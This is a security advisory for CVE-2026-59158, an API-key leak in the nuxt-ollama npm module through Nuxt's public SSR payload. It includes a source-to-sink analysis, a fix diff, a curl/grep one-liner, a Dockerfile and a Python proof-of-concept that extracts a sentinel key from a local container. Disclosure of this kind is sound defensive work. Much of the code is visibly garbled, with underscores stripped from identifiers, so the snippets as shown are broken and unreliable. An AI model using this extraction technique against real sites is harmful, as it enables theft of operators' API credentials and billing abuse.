PT-2026-89210 · Npm · Nuxt-Ollama
CVE-2026-59158
·
Published
2026-09-09
·
Updated
2026-09-09
CVSS v3.1
7.5
High
| Vector | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
Public Runtime Config Exposes Ollama API Key to Browser Clients
Summary
nuxt-ollama@1.2.26 unconditionally merges all module options — including api key — into Nuxt's public runtime config (runtimeConfig.public.ollama). Nuxt serializes runtimeConfig.public into the SSR HTML response inside a <script> payload block (window. NUXT ), making the API key visible in plaintext to any unauthenticated HTTP client that fetches the page. An attacker with no credentials can steal the Ollama cloud API key with a single HTTP GET request, then use it to make arbitrary requests to the Ollama API at the operator's expense.Details
The vulnerability is a design flaw in
src/module.ts. During Nuxt module setup, the entire options object — which contains api key when configured for cloud Ollama as documented in README.md:71-80 — is merged into the public runtime config namespace:ts
// src/module.ts:35-36
const currentConfig = (runtimeConfig.public.ollama ?? {}) as OllamaOptions
runtimeConfig.public.ollama = defu(currentConfig, options)Nuxt's SSR pipeline serializes
runtimeConfig.public and embeds it in every server-rendered HTML page for client-side hydration. This results in the api key appearing verbatim in the window. NUXT script block:html
<script>
window. NUXT ={};
window. NUXT .config={
public:{
ollama:{
protocol:"https",
host:"api.ollama.com",
port:"",
proxy:false,
api key:"LEAKED TEST KEY 123" // ← secret exposed to browser
}
}
}
</script>The browser-side composable (
src/runtime/composables/useOllama.ts) then reads this value and sends it as an Authorization: Bearer header in client-side Ollama API calls:ts
// src/runtime/composables/useOllama.ts:6-10
const options: ModuleOptions = useRuntimeConfig().public.ollama as ModuleOptions
if (options.api key) {
headers.Authorization = `Bearer ${options.api key}`
}
return new Ollama({ host, proxy: options.proxy, headers })The complete data flow from source to sink:
README.md:71-80— official documentation instructs users to setollama.api keyfor cloud Ollama modelssrc/module.ts:35-36— source:api keyis merged intoruntimeConfig.public.ollama- Nuxt SSR runtime —
runtimeConfig.publicis serialized into HTMLNUXTpayload src/runtime/composables/useOllama.ts:6— browser composable readsuseRuntimeConfig().public.ollamasrc/runtime/composables/useOllama.ts:8-10— sink:options.api keybecomesheaders.Authorizationin client-side HTTP request
The
api key value is never private (i.e., placed in runtimeConfig.ollama) and no sanitization removes it from the public namespace before serialization.Recommended remediation: Move
api key to the private runtime config and remove it from the browser composable:diff
- const currentConfig = (runtimeConfig.public.ollama ?? {}) as OllamaOptions
- runtimeConfig.public.ollama = defu(currentConfig, options)
+ const { api key, ...publicOptions } = options
+ const currentPublicConfig = (runtimeConfig.public.ollama ?? {}) as Omit<OllamaOptions, 'api key'>
+ runtimeConfig.public.ollama = defu(currentPublicConfig, publicOptions)
+ const currentPrivateConfig = (runtimeConfig.ollama ?? {}) as Pick<ModuleOptions, 'api key'>
+ runtimeConfig.ollama = defu(currentPrivateConfig, { api key })The
api key should then only be consumed in the server-side utility (src/runtime/server/utils/useOllama.ts) via useRuntimeConfig().ollama.api key.PoC
Prerequisites: Docker, Python 3
Step 1 — Build the vulnerable Nuxt app container
bash
docker build
-f /path/to/vuln-001/Dockerfile
-t nuxt-ollama-vuln-001
/path/to/npmAI 735 thoda-dev nuxt-ollamaThe Dockerfile uses the nuxt-ollama source at commit
6989ea8 and injects the following playground/nuxt.config.ts — the exact cloud configuration pattern from README.md:71-80:ts
export default defineNuxtConfig({
modules: ['../src/module'],
compatibilityDate: '2025-10-29',
devtools: { enabled: false },
ollama: {
protocol: 'https',
host: 'api.ollama.com',
api key: 'LEAKED TEST KEY 123' // sentinel key
}
})Step 2 — Start the container
bash
docker run -d --name nuxt-ollama-poc-001 -p 3000:3000 nuxt-ollama-vuln-001Step 3 — Retrieve the API key with a single unauthenticated HTTP request
bash
curl -s http://127.0.0.1:3000/ | grep -o 'api key":"[^"]*"'
# Expected: api key":"LEAKED TEST KEY 123"Automated PoC script
bash
python3 /path/to/vuln-001/poc.pyExpected output (confirmed in dynamic reproduction):
window. NUXT .config={
public:{
ollama:{
protocol:"https",
host:"api.ollama.com",
port:"",
proxy:false,
api key:"LEAKED TEST KEY 123"
}
}
}The sentinel key
LEAKED TEST KEY 123 appears in the HTML body of an unauthenticated HTTP GET response, confirming the leak.Impact
This is a credentials exposure vulnerability (CWE-522). Any unauthenticated party — including passive network observers, web crawlers, or anonymous visitors — who fetches the HTML page of an application using
nuxt-ollama with a cloud api key configured can extract the API key from the NUXT script payload.Who is impacted:
- Operators/developers who follow the official documentation to configure
ollama.api keyfor cloud Ollama models. They are unaware that the key is being published to every visitor. - End-users of applications built with this module are not directly at risk, but their requests may be intercepted or the service degraded if attackers exhaust rate limits or billing quotas on the stolen key.
Potential consequences of key theft:
- Unauthorized use of the Ollama cloud API at the operator's cost
- Rate-limit exhaustion or quota abuse
- Data exfiltration if the compromised key has read access to stored models or conversations
- Reputational damage and service disruption for the affected application
The vulnerability does not require any special conditions beyond the operator following the documented configuration; no user interaction or prior authentication is needed by the attacker.
Reproduction artifacts
Dockerfile
dockerfile
# syntax=docker/dockerfile:1
# VULN-001 PoC: nuxt-ollama@1.2.26 — Public Runtime Config Exposes Ollama API Key
# CWE-522: Insufficiently Protected Credentials
# CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N (7.5 High)
#
# Vulnerability mechanism:
# src/module.ts:36 — runtimeConfig.public.ollama = defu(currentConfig, options)
# This places api key into Nuxt's PUBLIC runtime config, which Nuxt serializes
# into the SSR HTML response ( NUXT / NUXT DATA payload).
# Any unauthenticated HTTP client reading the page HTML sees the API key in plaintext.
FROM node:20-alpine
# Install pnpm matching the repo's packageManager field (pnpm@10.33.4)
RUN npm install -g pnpm@10.33.4
WORKDIR /app
# Copy the nuxt-ollama source repository
COPY repo/ ./
# Install all project dependencies.
# .npmrc already sets: shamefully-hoist=true, strict-peer-dependencies=false
RUN pnpm install --frozen-lockfile
# Override playground/nuxt.config.ts: inject a sentinel api key to simulate
# a real-world cloud Ollama deployment as documented in README.md:71-80.
# This is the exact vulnerable configuration pattern described in the docs.
RUN cat > playground/nuxt.config.ts << 'EOF'
export default defineNuxtConfig({
modules: ['../src/module'],
compatibilityDate: '2025-10-29',
devtools: { enabled: false },
ollama: {
protocol: 'https',
host: 'api.ollama.com',
api key: 'LEAKED TEST KEY 123'
}
})
EOF
# Replace app.vue with a minimal template that does NOT make Ollama API calls.
# The api key leak occurs in the Nuxt SSR payload, not in the visible template.
# The original playground app.vue calls useFetch('/api/ollama') which requires
# a live Ollama server; replacing it keeps this PoC self-contained.
RUN cat > playground/app.vue << 'EOF'
<template>
<div>nuxt-ollama VULN-001 PoC — check Nuxt SSR payload for api key</div>
</template>
EOF
# Build the playground in production SSR mode.
# During the module setup() call, src/module.ts:36 merges all options (including
# api key) into runtimeConfig.public.ollama. At request time, Nuxt serializes
# runtimeConfig.public into the HTML response for client-side hydration.
RUN pnpm exec nuxi build playground
EXPOSE 3000
ENV HOST=0.0.0.0
ENV PORT=3000
ENV NITRO HOST=0.0.0.0
ENV NITRO PORT=3000
CMD ["node", "/app/playground/.output/server/index.mjs"]poc.py
python
#!/usr/bin/env python3
"""
VULN-001 Proof of Concept
Package : nuxt-ollama@1.2.26 (thoda-dev/nuxt-ollama, commit 6989ea8)
Title : Public Runtime Config Exposes Ollama API Key to Browser Clients
CWE : CWE-522 - Insufficiently Protected Credentials
CVSS : 7.5 High CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack summary
--------------
When a Nuxt app installs nuxt-ollama and sets ollama.api key (per README.md:71-80
for cloud Ollama), the module's setup() function in src/module.ts:36 merges the
entire options object—api key included—into runtimeConfig.public.ollama.
Nuxt's SSR pipeline serialises runtimeConfig.public for client-side hydration and
embeds it in the HTML response inside a <script> payload block ( NUXT /
NUXT DATA ). Any unauthenticated HTTP GET request to the home page therefore
returns the api key in plain text, with no authentication required.
This script:
1. Builds a Docker image from the nuxt-ollama source with a sentinel api key.
2. Starts the image as a local container.
3. Fetches http://127.0.0.1:3000/ and searches for the sentinel key.
4. Prints an evidence excerpt and writes phase2 result.json.
"""
import json
import os
import subprocess
import sys
import time
import urllib.request
# ---------------------------------------------------------------------------
# Configuration
# ---------------------------------------------------------------------------
TARGET KEY = "LEAKED TEST KEY 123"
IMAGE NAME = "nuxt-ollama-vuln-001"
CONTAINER NAME = "nuxt-ollama-poc-001"
HOST = "127.0.0.1"
PORT = 3000
URL = f"http://{HOST}:{PORT}/"
SCRIPT DIR = os.path.dirname(os.path.abspath( file ))
PARENT DIR = os.path.dirname(SCRIPT DIR) # build context (contains repo/)
DOCKERFILE = os.path.join(SCRIPT DIR, "Dockerfile")
RESULT FILE = os.path.join(SCRIPT DIR, "phase2 result.json")
BUILD CMD = f"docker build -f {DOCKERFILE} -t {IMAGE NAME} {PARENT DIR}"
RUN CMD = (
f"docker run -d --name {CONTAINER NAME} "
f"-p {PORT}:{PORT} {IMAGE NAME}"
)
POC CMD = f"python3 {os.path.join(SCRIPT DIR, 'poc.py')}"
# ---------------------------------------------------------------------------
# Helpers
# ---------------------------------------------------------------------------
def run cmd(cmd list, check=True, capture=False):
"""Execute a command, printing it first; return CompletedProcess."""
print(f"[cmd] {' '.join(cmd list)}", flush=True)
return subprocess.run(
cmd list,
check=check,
capture output=capture,
text=bool(capture),
)
def cleanup container():
"""Remove the PoC container if it already exists."""
subprocess.run(["docker", "rm", "-f", CONTAINER NAME], capture output=True)
def wait for server(url, timeout=180, interval=5):
"""Poll url until it returns a non-5xx response or the timeout expires."""
print(f"[*] Waiting for server at {url} (timeout={timeout}s)", flush=True)
deadline = time.time() + timeout
while time.time() < deadline:
try:
with urllib.request.urlopen(url, timeout=5) as resp:
if resp.status < 500:
print(f"[+] Server up — HTTP {resp.status}", flush=True)
return True
except Exception:
pass
time.sleep(interval)
return False
def save result(data):
"""Write phase2 result.json and echo its path."""
with open(RESULT FILE, "w", encoding="utf-8") as fh:
json.dump(data, fh, ensure ascii=False, indent=2)
print(f"
[*] Result saved to {RESULT FILE}", flush=True)
# ---------------------------------------------------------------------------
# Main
# ---------------------------------------------------------------------------
def main():
print("=" * 66)
print("VULN-001 PoC — nuxt-ollama@1.2.26 API Key Leak via Nuxt SSR Payload")
print("=" * 66, flush=True)
cleanup container()
# ------------------------------------------------------------------
# Step 1 — Build Docker image
# ------------------------------------------------------------------
print("
[STEP 1] Building Docker image (may take several minutes) ...", flush=True)
build rc = run cmd(
["docker", "build", "-f", DOCKERFILE, "-t", IMAGE NAME, PARENT DIR],
check=False,
).returncode
if build rc != 0:
save result({
"passed": False,
"verdict": "FAIL",
"reason": "Docker 이미지 빌드 실패. docker build 로그를 확인하세요.",
"build command": BUILD CMD,
"run command": RUN CMD,
"poc command": POC CMD,
"evidence": f"docker build exited with returncode={build rc}",
"artifacts": ["Dockerfile", "poc.py"],
})
sys.exit(1)
print("[+] Image built successfully.", flush=True)
# ------------------------------------------------------------------
# Step 2 — Start the container
# ------------------------------------------------------------------
print("
[STEP 2] Starting container ...", flush=True)
run rc = run cmd(
["docker", "run", "-d",
"--name", CONTAINER NAME,
"-p", f"{PORT}:{PORT}",
IMAGE NAME],
check=False,
).returncode
if run rc != 0:
save result({
"passed": False,
"verdict": "FAIL",
"reason": "Docker 컨테이너 실행 실패.",
"build command": BUILD CMD,
"run command": RUN CMD,
"poc command": POC CMD,
"evidence": f"docker run exited with returncode={run rc}",
"artifacts": ["Dockerfile", "poc.py"],
})
sys.exit(1)
# ------------------------------------------------------------------
# Step 3 — Wait for Nuxt SSR server
# ------------------------------------------------------------------
print("
[STEP 3] Waiting for Nuxt SSR server ...", flush=True)
if not wait for server(URL, timeout=180):
logs = subprocess.run(
["docker", "logs", CONTAINER NAME],
capture output=True, text=True,
)
log snippet = (logs.stdout + logs.stderr)[-2000:]
print("[!] Server did not respond within timeout. Container logs:
", log snippet)
save result({
"passed": False,
"verdict": "INCOMPLETE",
"reason": "Nuxt SSR 서버가 180초 이내에 응답하지 않음. 컨테이너 로그 확인 필요.",
"build command": BUILD CMD,
"run command": RUN CMD,
"poc command": POC CMD,
"evidence": log snippet,
"artifacts": ["Dockerfile", "poc.py"],
})
cleanup container()
sys.exit(1)
# ------------------------------------------------------------------
# Step 4 — Fetch the rendered HTML page
# ------------------------------------------------------------------
print(f"
[STEP 4] GET {URL} ...", flush=True)
try:
with urllib.request.urlopen(URL, timeout=15) as resp:
html = resp.read().decode("utf-8", errors="replace")
except Exception as exc:
save result({
"passed": False,
"verdict": "FAIL",
"reason": f"HTTP 요청 실패: {exc}",
"build command": BUILD CMD,
"run command": RUN CMD,
"poc command": POC CMD,
"evidence": str(exc),
"artifacts": ["Dockerfile", "poc.py"],
})
cleanup container()
sys.exit(1)
print(f"[+] Received {len(html)} bytes.", flush=True)
# ------------------------------------------------------------------
# Step 5 — Verify TARGET KEY is present in the HTTP response body
# ------------------------------------------------------------------
print(f"
[STEP 5] Searching for '{TARGET KEY}' in response ...", flush=True)
if TARGET KEY in html:
idx = html.index(TARGET KEY)
start = max(0, idx - 200)
end = min(len(html), idx + len(TARGET KEY) + 200)
excerpt = html[start:end].strip()
print(f"
{'='*66}")
print(f"[PASS] VULNERABILITY CONFIRMED")
print(f"'{TARGET KEY}' is present in the unauthenticated HTTP response.")
print(f"{'='*66}")
print(f"Evidence excerpt:
{excerpt}
")
print(f"{'='*66}")
save result({
"passed": True,
"verdict": "PASS",
"reason": (
"nuxt-ollama@1.2.26의 src/module.ts:36에서 api key를 "
"runtimeConfig.public.ollama에 병합함. Nuxt SSR이 해당 값을 HTML 응답의 "
" NUXT 페이로드에 직렬화하여, 인증 없는 HTTP GET 요청만으로 "
"LEAKED TEST KEY 123이 응답 본문에서 노출됨이 실제 실행으로 확인됨."
),
"build command": BUILD CMD,
"run command": RUN CMD,
"poc command": POC CMD,
"evidence": excerpt,
"artifacts": ["Dockerfile", "poc.py"],
})
cleanup container()
sys.exit(0)
else:
snippet = html[:3000]
print(f"[FAIL] '{TARGET KEY}' NOT found in the HTTP response body.")
print("--- HTML (first 3000 chars) ---")
print(snippet)
save result({
"passed": False,
"verdict": "FAIL",
"reason": (
f"'{TARGET KEY}'가 HTTP 응답 본문에서 발견되지 않음. "
"Nuxt 빌드 버전 또는 환경 차이로 인해 직렬화 형식이 다를 수 있음."
),
"build command": BUILD CMD,
"run command": RUN CMD,
"poc command": POC CMD,
"evidence": snippet[:1500],
"artifacts": ["Dockerfile", "poc.py"],
})
cleanup container()
sys.exit(1)
if name == " main ":
main()Fix
Insufficiently Protected Credentials
Found an issue in the description? Have something to add? Feel free to write us 👾
Weakness Enumeration
Related Identifiers
Affected Products
Nuxt-Ollama